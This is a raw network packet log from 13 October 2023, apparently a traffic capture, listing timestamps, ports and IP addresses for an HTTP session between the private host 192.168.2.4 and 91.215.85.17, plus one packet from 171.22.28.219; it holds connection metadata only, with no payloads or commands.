Oct 13, 2023 16:06:20.724112034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724184990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724229097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.724287987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724289894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.724354029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724401951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.724432945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724505901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724508047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.724565983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724611998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724653959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.724787951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725276947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725328922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.725430012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725505114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725553989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.725594044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725637913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.725868940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725936890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.725980997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.726053953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726125956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726167917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.726228952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726294041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726344109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.726406097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726552963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.726701021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.726744890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.726850033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727005005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727098942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727143049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.727205038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727268934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727310896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.727355957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727404118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.727421999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727488041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727530003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.727560043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727715015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727761030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.727775097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727885008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.727966070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.728007078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.728068113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.728308916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.728353024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.728404999 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:20.728506088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.728566885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.728967905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729082108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729162931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.729360104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729535103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729618073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729664087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.729700089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729784012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729844093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.729883909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.729923964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.729974985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730107069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730161905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730185032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730261087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730323076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730355024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730437040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730493069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730573893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730618000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730662107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730771065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730817080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730863094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.730905056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.730968952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731031895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731085062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.731117010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731213093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731262922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.731296062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731394053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731482029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731528044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.731570959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731651068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731694937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.731755972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731792927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.731856108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731940985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.731983900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732027054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732161999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732239008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732283115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732315063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732409954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732449055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732480049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732520103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732551098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732659101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732703924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732738972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732831955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.732875109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.732904911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733012915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733094931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733134031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.733201027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733254910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733294964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.733366013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733477116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733516932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.733637094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733678102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.733697891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733814001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733855009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.733874083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733957052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.733995914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734060049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734152079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734213114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734255075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734318972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734375954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734415054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734483004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734524012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734575987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734654903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734700918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734755039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734873056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734888077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.734914064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.734985113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735035896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735076904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.735106945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.735312939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735354900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.735409975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735496998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735536098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.735687017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735867977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.735908031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.735980034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736033916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736093044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736099005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.736144066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736223936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736263990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.736327887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736391068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736430883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.736489058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.736495018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.737437963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737492085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.737530947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737581015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737620115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.737652063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737704992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.737761021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737843037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.737883091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.737915039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738040924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738080978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.738130093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738188982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738312006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738353968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.738456964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738531113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738574982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.738606930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738645077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.738699913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738794088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738843918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.738848925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.738986969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739027023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739046097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739142895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739218950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739236116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739331007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739409924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739449024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739485979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739586115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739624977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739680052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739726067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739797115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739835024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.739878893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.739919901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740030050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740067005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740139008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740250111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740293980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740339041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740422964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740504026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740550041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740592957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740684032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740740061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740775108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740813971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740854979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740937948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.740978956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.740978956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741029024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741075039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741110086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741220951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741239071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741282940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741300106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741358042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741395950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741405964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741445065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741494894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741560936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741600037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741628885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741755009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741772890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741797924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741919041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.741981983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.741992950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742105007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742170095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.742175102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742239952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742278099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.742311001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742383957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742476940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742517948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.742578983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742656946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742697954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.742758036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742794991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.742839098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742911100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.742953062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743004084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743136883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743179083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743208885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743316889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743360043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743422031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743567944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743629932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743670940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743711948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743809938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743849993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743877888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.743916035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.743953943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744039059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744077921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.744146109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744235992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744277000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.744345903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744435072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744517088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744556904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.744623899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744677067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744715929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.744857073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744947910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.744983912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745011091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745045900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745280027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745408058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745495081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745544910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745584011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745598078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745799065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745837927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745867014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.745902061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.745949984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746031046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746068001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.746112108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746170998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746206999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.746247053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746346951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746412992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746453047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.746503115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746635914 CEST	80	49762	91.215.85.17	192.168.2.4
